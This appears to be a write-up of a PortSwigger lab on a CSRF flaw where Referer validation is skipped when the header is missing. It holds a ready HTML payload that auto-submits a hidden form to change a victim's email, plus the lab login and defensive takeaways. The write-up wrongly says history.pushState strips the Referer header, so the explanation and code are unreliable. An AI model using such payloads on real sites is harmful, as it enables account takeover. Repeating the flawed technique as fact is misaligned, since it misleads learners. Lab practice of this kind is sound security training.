CSRF where Referer validation depends on header being present
CSRF where Referer validation depends on header being present: This lab's email change functionality is vulnerable to CSRF. Although the application attempts to block cross-domain requests by checking the Referer header, it has an insecure fallback. • PortSwigger • CSRF • csrf
🎯 Objective
This lab's email change functionality is vulnerable to CSRF.
Although the application attempts to block cross-domain requests by checking the Referer header, it has an insecure fallback.
Goal: Use the exploit server to host an HTML page that changes the victim’s email address.
🧭 Steps
Logged in with provided credentials:
- Username:
wiener - Password:
peter
- Username:
Observation:
The application relied on theRefererheader for CSRF protection.
By removing/stripping this header, requests bypassed the check.
Exploit construction:
I crafted an HTML payload that:- Stripped the
Refererheader viahistory.pushState. - Auto-submitted the form to change the email.
- Stripped the
📄 Exploit Code
<html>
<body>
<form action="https://target.site/my-account/change-email" method="POST">
<input type="hidden" name="email" value="attacker@evil.com" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>✅ Result
- The victim’s email address was changed without their knowledge.
- The CSRF protection was bypassed due to insecure reliance on the
Refererheader.
💡 Key Takeaway
- Don’t rely on the
Refererheader for CSRF protection. - Always use anti-CSRF tokens (synchronizer tokens or double-submit cookies).